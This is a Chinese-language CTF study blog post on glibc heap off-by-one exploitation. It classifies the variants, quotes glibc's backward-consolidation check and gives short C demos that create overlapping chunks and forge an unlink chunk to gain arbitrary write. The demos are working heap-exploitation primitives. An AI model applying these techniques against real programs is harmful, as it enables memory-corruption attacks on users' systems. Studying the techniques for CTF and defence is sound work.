off-by-one

参考学习师傅们的文章

1
2
3
4
5
6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/
http://d0m021ng.github.io/2017/03/01/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8Boff-by-one/
https://www.anquanke.com/post/id/88961#h2-5
https://blog.csdn.net/nibiru_holmes/article/details/62040763
https://www.w0lfzhang.com/2016/10/21/off-by-one/
https://github.com/JnuSimba/LinuxSecNotes/blob/master/Linux%20X86%20%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E7%B3%BB%E5%88%97/%E5%A0%86%E5%86%85off-by-one%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8.md

off-by-one 漏洞利用学习

一直没能学会off-by-one这一个神奇的漏洞利用方式,这一次终于有机会默默学习一下了

分类

通过利用手法分类可以分为两类:

overlapping

  • off-by-one overwrite allocated

  • off-by-one overwrite freed

  • off-by-one null byte

  • off-by-one small bin

  • off-by-one large bin
    而通过漏洞成因可以分为下面两类:

  • off-by-one NULL(溢出位为0)
  • off-by-one byte(溢出位可以为任意字节)

利用思路

  1. 溢出位为任意字节时,可以利用chunk extended和chunk shrink来进行利用(这两种相关内容在我的另外两篇博客中都有一些描述)
  2. 溢出位为NULL的时候:在特殊size下(0x100)的时候,如果溢出null可以让prev_in_use位被清零,前块就被视为free状态,此时可以
    1. 使用unlink方法
    2. 这里也可以通过chunk extedned和chunk shrink来解决(仅限于libc<2.28)

在2.28之前的时候unlink是不对prev_size找到的chunk与当前chunk大小进行比较的

1
2
3
4
5
6
7
8
9
10
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

效果

  • overlapping可以导致我们重复分配的chunk可以被我们进行任意写
  • unlink
    • small bin可以使得指向堆的指针ptr指向ptr-0xc(x86位,64位应该为ptr-0x18),再结合一系列的操作就可以进行任意地址写
    • 而如果是Large bin的话则只能进行一次任意地址写

注意事项

ptmalloc实现时当前块的下一块必须是inuse,否则free时会异常(double free时的限制)

相关操作

overwrite allocate

所谓overwrite allocate,就是通过chunk extended,将目标chunk合并进前一个chunk,此时如果free掉前一个chunk再分配合适的size,就可以分配到合并的chunk,这样也就可以对目标chunk进行任意读写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdilb.h>
#include<stdio.h>
int main(void)

{

char buf[253]="";
void *A,*B,*C;
void *Overlapped;
A=malloc(252);
B=malloc(252);
C=malloc(128);
memset(buf,'a',252);
buf[252]='\x89'; //把C块包含进来
memcpy(A,buf,253);//A存在off-by-one漏洞
free(B);
Overlapped=malloc(500);
}

overwrite freed

而overwrite freed也是类似,不过是先free掉目标堆块的前一个chunk,然后更改前一个chunk的size(inuse为1),通过chunk extended包含两个chunk,此时就可以对目标堆块进行任意地址读写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdilb.h>
#include<stdio.h>
int main(void)
{
char buf[253]="";
void *A,*B,*C;
void *Overlapped;
A=malloc(252);
B=malloc(252);
C=malloc(128);
free(B);
memset(buf,'a',252);
buf[252]='\x89';
memcpy(A,buf,253);//A存在off-by-one漏洞
Overlapped=malloc(380);
}

off-by-one NULL byte

  • 而如果溢出位只能是\x00时就变得复杂起来,这里用一位师傅的描述
    1. 假设有三个已经分配的chunk(A,B,C)
    2. 在A块进行溢出,导致B的inuse位被覆盖为0,此时会让系统认为B已经被free掉了,此时如果再分配两个非fastbin得小chunk(B1,C1),就会分配到B所在的chunk,此时只需要释放B1,然后再释放C,就会引发B,C两块的合并,此时只要重新分配B大小的CHUNK,就可以重新得到B2
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      #include<stdlib.h>
      #include<stdio.h>
      int main(void)
      {
      void *A,*B,*C;
      void *B1,*B2;
      void *Overlapping;
      A=malloc(0x100);
      B=malloc(0x208);
      C=malloc(0x100);
      free(B);
      ((char *)A)[0x104]='\x00';
      B1=malloc(0x100);
      B2=malloc(0x80);
      free(B1);
      free(C);
      malloc(0x200);
      }

small bin

small bin则是需要触发unlink,但是由于unlink的check,我们需要一个指向堆上的指针来进行check的绕过,这时需要在目标chunk的前一个chunk处伪造一个堆结构,然后进行B的覆盖,此时free B就会导致ptr变为向前的三块的位置,然后就可以复写ptr,然后对ptr进行任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void *ptr;
int main(void)
{
int prev_size,size,fd,bk;
void *p1,*p2;
char buf[253]="";
p1=malloc(252);
p2=malloc(252);
ptr=p1;
prev_size=0;
size=249;
fd=(int)(&ptr)-0xC;
bk=(int)(&ptr)-0x8;
memset(buf,'c',253);
memcpy(buf,&prev_size,4);
memcpy(buf+4,&size,4);
memcpy(buf+8,&fd,4);
memcpy(buf+12,&bk,4);
size=248;
memcpy(&buf[248],&size,4);
buf[252]='\x00';
memcpy(p1,buf,253);
free(p2);
}

  • large bin的攻击则是比较远古的方式,师傅说是因为当时没有对large bin 的unlink检测的相关代码所以导致可以攻击
  • unsorted bin 利用大概就是更改global_max的大小

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!